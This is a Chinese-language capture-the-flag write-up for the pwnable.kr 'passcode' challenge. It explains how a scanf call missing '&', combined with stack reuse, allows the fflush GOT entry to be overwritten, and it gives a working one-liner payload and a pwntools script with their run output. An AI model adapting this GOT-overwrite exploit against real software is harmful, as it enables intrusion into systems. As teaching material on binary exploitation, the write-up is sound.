目錄導航
- 進入服務器
- 下載檔案
- 反編譯分析
- EXP
- TIPS
進入服務器

Mommy told me to make a passcode based login system.
My initial C code was compiled without any error!
Well, there was some compiler warning, but who cares about that?
ssh passcode@pwnable.kr -p2222 (pw:guest)
媽媽讓我做一個密碼登錄系統,
我的初始C代碼被編譯了,沒有任何錯誤!
有一些編譯器警告,但誰在乎呢?
輸入命令回車,輸入密碼:guest 即可登錄服務器,
C:\Users\22378>ssh passcode@pwnable.kr -p2222
passcode@pwnable.kr's password:
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
____ __ __ ____ ____ ____ _ ___ __ _ ____
| \| |__| || \ / || \ | | / _] | |/ ]| \
| o ) | | || _ || o || o )| | / [_ | ' / | D )
| _/| | | || | || || || |___ | _] | \ | /
| | | ` ' || | || _ || O || || [_ __ | \| \
| | \ / | | || | || || || || || . || . \
|__| \_/\_/ |__|__||__|__||_____||_____||_____||__||__|\_||__|\_|
- Site admin : daehee87@gatech.edu
- IRC : irc.netgarage.org:6667 / #pwnable.kr
- Simply type "irssi" command to join IRC now
- files under /tmp can be erased anytime. make your directory under /tmp
- to use peda, issue `source /usr/share/peda/peda.py` in gdb terminal
You have mail.
Last login: Sun Nov 21 00:39:47 2021 from 27.96.197.230
passcode@pwnable:~$ ls
flag passcode passcode.c
passcode@pwnable:~$
下載檔案
使用
scp遠程復制下載檔案
scp -P 2222 -p passcode@pwnable.kr:/home/passcode/* ./
D:\Desktop\安全\pwn\pwnable.kr->file passcode
passcode: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, not stripped
原始碼 passcode.c
$ cat passcode.c
#include <stdio.h>
#include <stdlib.h>
void login(){
int passcode1;
int passcode2;
printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);
// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);
printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}
void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}
int main(){
printf("Toddler's Secure Login System 1.0 beta.\n");
welcome();
login();
// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}
main函式呼叫welcome() 在此輸入名字,接著呼叫login() 在此輸入passcode1和passcode2,并且滿足
(passcode1==338150 && passcode2==13371337)
然后才會呼叫/bin/cat flag 得到flag,
但是注意,題目中說忽略了警告,仔細看可以發現
int passcode1;
int passcode2;
passcode1和passcode2定義的都是整數,但是在輸入的時候
scanf("%d", passcode1);
scanf("%d", passcode2);
沒有取址符號!
在welcome中也一樣
scanf("%100s", name);
沒有取值符號的結果就是,會直接從堆疊中取四個位元組(32位情況下)作為地址進行賦值,如果該地址不可寫,就會造成記憶體錯誤,
反編譯分析
main
int __cdecl main(int argc, const char **argv, const char **envp)
{
puts("Toddler's Secure Login System 1.0 beta.");
welcome();
login();
puts("Now I can safely trust you that you have credential :)");
return 0;
}
login
.text:08048564 ; __unwind {
.text:08048564 push ebp
.text:08048565 mov ebp, esp
.text:08048567 sub esp, 28h
.text:0804856A mov eax, offset format ; "enter passcode1 : "
.text:0804856F mov [esp], eax ; format
.text:08048572 call _printf
.text:08048577 mov eax, offset aD ; "%d"
.text:0804857C mov edx, [ebp+var_10]
.text:0804857F mov [esp+4], edx
.text:08048583 mov [esp], eax
.text:08048586 call ___isoc99_scanf
.text:0804858B mov eax, ds:stdin@@GLIBC_2_0
.text:08048590 mov [esp], eax ; stream
.text:08048593 call _fflush
.text:08048598 mov eax, offset aEnterPasscode2 ; "enter passcode2 : "
.text:0804859D mov [esp], eax ; format
.text:080485A0 call _printf
.text:080485A5 mov eax, offset aD ; "%d"
.text:080485AA mov edx, [ebp+var_C]
.text:080485AD mov [esp+4], edx
.text:080485B1 mov [esp], eax
.text:080485B4 call ___isoc99_scanf
.text:080485B9 mov dword ptr [esp], offset s ; "checking..."
.text:080485C0 call _puts
.text:080485C5 cmp [ebp+var_10], 528E6h
.text:080485CC jnz short loc_80485F1
.text:080485CE cmp [ebp+var_C], 0CC07C9h
.text:080485D5 jnz short loc_80485F1
.text:080485D7 mov dword ptr [esp], offset aLoginOk ; "Login OK!"
.text:080485DE call _puts
.text:080485E3 mov dword ptr [esp], offset command ; "/bin/cat flag"
.text:080485EA call _system
.text:080485EF leave
.text:080485F0 retn
.text:080485F1 ; ---------------------------------------------------------------------------
.text:080485F1
welcome
.text:08048609 ; __unwind {
.text:08048609 push ebp
.text:0804860A mov ebp, esp
.text:0804860C sub esp, 88h
.text:08048612 mov eax, large gs:14h
.text:08048618 mov [ebp+var_C], eax
.text:0804861B xor eax, eax
.text:0804861D mov eax, offset aEnterYouName ; "enter you name : "
.text:08048622 mov [esp], eax ; format
.text:08048625 call _printf
.text:0804862A mov eax, offset a100s ; "%100s"
.text:0804862F lea edx, [ebp+var_70]
.text:08048632 mov [esp+4], edx
.text:08048636 mov [esp], eax
.text:08048639 call ___isoc99_scanf
.text:0804863E mov eax, offset aWelcomeS ; "Welcome %s!\n"
.text:08048643 lea edx, [ebp+var_70]
.text:08048646 mov [esp+4], edx
.text:0804864A mov [esp], eax ; format
.text:0804864D call _printf
.text:08048652 mov eax, [ebp+var_C]
.text:08048655 xor eax, large gs:14h
.text:0804865C jz short locret_8048663
.text:0804865E call ___stack_chk_fail
.text:08048663 ; ---------------------------------------------------------------------------
.text:08048663
? 程式main函式中,welcome和login存在堆疊復用(welcome和login這兩個函式是連續呼叫的,導致他們擁有相同的堆疊底),welcome呼叫gets向[ebp-0x70]讀入100個字符,開的陣列相對比較大,這里我們有一次布置資料的機會,可以造成資訊泄露,
? 在login中,會把[ebp-10h] 、[ebp-Ch] 的內容為scanf要寫入的地址,
.text:0804862A mov eax, offset a100s ; "%100s"
.text:0804862F lea edx, [ebp+var_70]
.text:0804856A mov eax, offset format ; "enter passcode1 : "
.text:0804856F mov [esp], eax ; format
.text:08048572 call _printf
.text:08048577 mov eax, offset aD ; "%d"
.text:0804857C mov edx, [ebp+var_10]
.text:08048598 mov eax, offset aEnterPasscode2 ; "enter passcode2 : "
.text:0804859D mov [esp], eax ; format
.text:080485A0 call _printf
.text:080485A5 mov eax, offset aD ; "%d"
.text:080485AA mov edx, [ebp+var_C]
?函式呼叫程序中,一定會呼叫GOT表中函式,假如函式一定會呼叫print函式,流程大致是這樣, 程式呼叫printf函式 > 訪問PLT表對應表項 printf@plt > 跳轉到對應的GOT表項 printf@got.plt 獲得prinf函式地址 ,
?我們又可以通過welcome函式,修改任意GOT表中的函式呼叫地址(可以構造某函式GOT地址到[ebp-10h] 或者 [ebp-Ch] ),在scanf的時候,完成GOT表覆寫(tips 中介紹),
?當然一定要選擇會被呼叫的地址,否則也是無用功,
EXP
找能夠被呼叫的GOT表項

在login函式的輸入之后呼叫了__fflush 函式,我們選擇這個函式

點進去發現plt地址

繼續,發現GOT表項地址為 0x804A004
將該表項中存盤的地址改為(/bin/cat flag)的地址 0x080485E3

字串的起始位置是ebp-0x70,轉換成十進制也就是ebp-112,這說明字串在堆疊中占了(ebp-112)-(ebp-13)這100個位元組的位置,在上一步中,知道了scanf把ebp-0x10,也就是ebp-16開始的四個位元組當作地址,這四個位元組也就是字串的最后四個位元組,
.text:0804862A mov eax, offset a100s ; "%100s"
.text:0804862F lea edx, [ebp+var_70]
.text:0804856A mov eax, offset format ; "enter passcode1 : "
.text:0804856F mov [esp], eax ; format
.text:08048572 call _printf
.text:08048577 mov eax, offset aD ; "%d"
.text:0804857C mov edx, [ebp+var_10]
.text:08048598 mov eax, offset aEnterPasscode2 ; "enter passcode2 : "
.text:0804859D mov [esp], eax ; format
.text:080485A0 call _printf
.text:080485A5 mov eax, offset aD ; "%d"
.text:080485AA mov edx, [ebp+var_C]
把字串最后四個位元組改成GOT表項的地址0x804a004,然后在運行scanf的時候,把0x080485e3輸入進去就可以了,
scanf傳入的是%d格式的數,所以需要把0x080485e3轉換成十進制134514147再輸入,
python -c "print 'A'*0x60 + '\x04\xa0\x04\x08' + '134514147'" | ./passcode
執行流程大致是,呼叫welcome函式,輸入name 為上面構造的字串的前一百個字符,呼叫login函式中的scanf使得 后面的 134514147 覆寫 \x00\xa0\x04\x08 中的GOT_fflush地址,使得緊接著呼叫__fllush時候呼叫的是 cat flag ,
passcode@pwnable:~$ python -c "print 'A'*0x60 + '\x04\xa0\x04\x08' + '134514147'" | ./passcode
Toddler's Secure Login System 1.0 beta.
enter you name : Welcome AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!
Sorry mom.. I got confused about scanf usage :(
enter passcode1 : Now I can safely trust you that you have credential :)
passcode@pwnable:~$

Sorry mom.. I got confused about scanf usage :(
使用python腳本也可以,
from pwn import *
pwn_ssh=ssh(host='pwnable.kr',user='passcode',password='guest',port=2222)
print (pwn_ssh.connected())
sh=pwn_ssh.process(executable="./passcode")
print (sh.recv())
sh.sendline('A'*96+'\x04\xa0\x04\x08'+'134514147')
print (sh.recvall())
TIPS
scanf不加&的后果
? scanf函式在為變數賦值的時候,除了字串和陣列以外,變數名前都要加&,這是因為編譯時系統會為變數分配一個地址,加&就是為了將輸入的值存入這個預先分配好的地址中,如果變數前不加&的話,在賦值的時候就不是把輸入的值存在預先分配的地址,而是從堆疊中取四個位元組(32位情況下)作為地址進行賦值,這個值是不固定的,因此就會出現各種問題,
GOT表覆寫
?在程式中,如果一個函式想呼叫printf、scanf等等這種系統函式時,要通過兩個表來實作,一個是PLT表,一個是GOT表,
?因為這些系統函式并不像自定義的函式那樣在程式中存在固定的位置,而是在程式運行的時候根據需要動態加載的,這樣可以避免一次性加載大量不必要的函式,但這樣造成的問題就是,不同的程式中系統函式所在位置不同,每次呼叫的時候都要重新定位系統函式的位置,為了避免重復定位,就引入了PLT表和GOT表,
?在一個程式剛開始運行的時候,系統會把程式需要的系統函式加載到記憶體中,然后把這些函式所在的地址一條一條的存放在GOT表中,然后PLT表項跟GOT表項一一對應,程式呼叫系統函式的話會訪問PLT表的對應表項,然后再通過其中的jmp指令跳轉到對應的GOT表項,獲取函式真正所在的位置,以printf函式為例,流程如下:
程式呼叫printf函式 > 訪問PLT表對應表項 printf@plt > 跳轉到對應的GOT表項 printf@got.plt 獲得prinf函式地址
?這里需要注意的是,GOT表具有兩個特征,一個是可寫(因為要往里寫函式地址),一個是表項中存的地址會直接跳轉執行,這兩個特征就決定了,可以把GOT表中的地址修改成任意代碼的地址,來運行這段代碼,這種改寫GOT表項中內容的方法就叫做GOT表覆寫,
參考:
https://blog.csdn.net/Z_Pathon/article/details/100181177
https://blog.csdn.net/qq_18661257/article/details/54694748
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/375210.html
標籤:其他
上一篇:OPENSSL基礎使用
下一篇:多執行緒詳解(二)
